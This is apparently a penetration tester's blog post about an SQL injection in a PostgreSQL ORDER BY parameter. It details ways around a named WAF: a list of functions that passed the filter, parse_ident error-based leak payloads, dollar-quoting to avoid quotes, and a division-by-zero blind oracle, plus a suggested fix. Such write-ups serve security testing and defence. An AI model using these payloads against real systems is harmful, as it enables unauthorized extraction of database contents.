Hi there!,
During a recent client engagement, I came across a really interesting SQL injection scenario in order by clause. The endpoint had a WAF (Baffin Bay Networks Threat Protection) sitting in front, blocking all the usual SQLi payloads
The Discovery
The target was a GET /api/v1/posts endpoint in a Member API. It had a column query parameter for sorting results. A quick single-quote test confirmed something was off:
GET /api/v1/posts?pageSize=1&pageNumber=1&column=title' HTTP/1.1
The response came back with a PostgreSQL error:
42601: unterminated quoted string at or near "' DESC"
The DESC in the response was the giveaway. It showed that our input had been placed inside the ORDER BY clause. The application was building SQL queries by just gluing strings together without any sanitisation.
The WAF Problem
The Baffin Bay WAF was blocking everything you’d normally reach for:
SELECT- blockedCASE- blockedCAST- blockedsubstr,chr,length- blockedversion(),current_user- blocked
WAF Bypass - The PostgreSQL Function Catalog
After some trial and error, 23 PostgreSQL functions were identified that passed through the WAF without triggering any alerts. Here’s the full arsenal:
Data Extraction Functions:
parse_ident() text() string_to_array() array_to_string() cardinality() hashtext()
System Information Functions:
current_database() current_schema() current_query() pg_typeof()
Server/Connection Functions:
inet_server_addr() inet_server_port() pg_backend_pid() pg_postmaster_start_time() pg_conf_load_time() pg_current_wal_lsn() pg_is_in_recovery() txid_current()
Database Introspection Functions (the real gold):
pg_get_functiondef() pg_get_viewdef() to_regclass() to_regproc()
Miscellaneous:
gen_random_uuid() pg_database_size() pg_size_pretty()
Since the injection was in an ORDER BY clause, any function that returns a value PostgreSQL can sort by could be used. The technique was error-based extraction which trigger errors that leak the function return value in the error message itself.
Extraction Techniques
Technique 1: Error-Based Leak via parse_ident()
parse_ident() is a PostgreSQL function that parses a string into its qualified identifier components. When given an invalid identifier (containing spaces, dots in wrong positions, etc.), it throws an error that includes the input string in the message.
Payload pattern:
Column=parse_ident(text(<target_function>))
Error response:
22023: string is not a valid identifier: "<LEAKED_VALUE>"
Technique 2: Underscore-to-Space Transformation
Some values like USER_DB contain underscores, making them valid identifiers that parse_ident would accept. To bypass this, convert underscores to spaces first:
Column=parse_ident(array_to_string(string_to_array(text(current_database()),$$_$$),$$ $$))
This transforms USER_DB → USER DB which triggers the parse_ident error, leaking:
22023: string is not a valid identifier: "USER DB"
Reverse USER DB → USER_DB and you’ve got the database name.
Technique 3: Type Conversion via text()
Many PostgreSQL functions return non-text types (timestamps, inet addresses, booleans). The text() function converts these without triggering the WAF.
Technique 4: Dollar-Quoting ($$) for WAF Bypass
The WAF was blocking single quotes in payloads. PostgreSQL’s dollar-quoting ($$string$$) bypassed this entirely:
Column=parse_ident(text(pg_get_functiondef(to_regproc($$get_all_user_postsrequests$$))))
No quotes in the payload - $$ delimits the string. The WAF had no rule for it.
Technique 5: Blind Division-by-Zero Oracle
For verifying guessed values when direct error leakage wasn’t possible, a blind division-by-zero oracle was used:
Column=1/(hashtext(text(<expr_A>))-hashtext(text(<expr_B>)))
If A equals B, the subtraction gives zero → 22012: division by zero. Used to confirm table existence, function names, and database objects.
Extracting the Function Source Code
We managed to pull the actual PostgreSQL function source using pg_get_functiondef() and what we saw was exactly what we expected - the column parameter was being concatenated straight into a dynamic SQL query with zero sanitisation.
What Was Extracted
Database Server Info
| Data Point | Value |
|---|---|
| Database Name | [redacted] |
| Database User | [redacted] |
| Current Schema | public |
| Server IP | [redacted] |
| Server Port | 5432 |
| Database Size | 49 MB |
| Uptime Since | [redacted] |
| Replication | Primary (not a replica) |
Using the WAF bypass techniques above, we were able to extract database name, server information, full function source code showing the injection root cause, and enumerate database tables and views through error-based leakage in the ORDER BY clause.
Suggested Fix
- Replace
ORDER BY|| _sort_column with aCASEwhitelist mapping column names - Revoke access to
pg_get_functiondef,pg_get_viewdef,to_regclassfrom the application database user
References
The references below were mostly sourced from rag.preview.is - a RAG-powered search engine for security research.
- Community WAF Bypass Payloads
- Pentesting PostgreSQL with SQL Injections (OnSecurity)
- {JS-ON: Security-OFF} - Abusing JSON-Based SQL to Bypass WAF (Team82/Claroty)
- The WAF Evasion Playbook (Sika Security)
- SQL Injection Bypassing WAF (OWASP)
I used Claude CLI (with deepseek-v4-pro) for the entire pentest workflow - running tests, documenting findings, and drafting this blog. The RAG tool rag.preview.is was used to source the references for WAF bypass techniques during the engagement.
That’s all for this one! Hope you found the WAF bypass techniques useful. See you in the next post.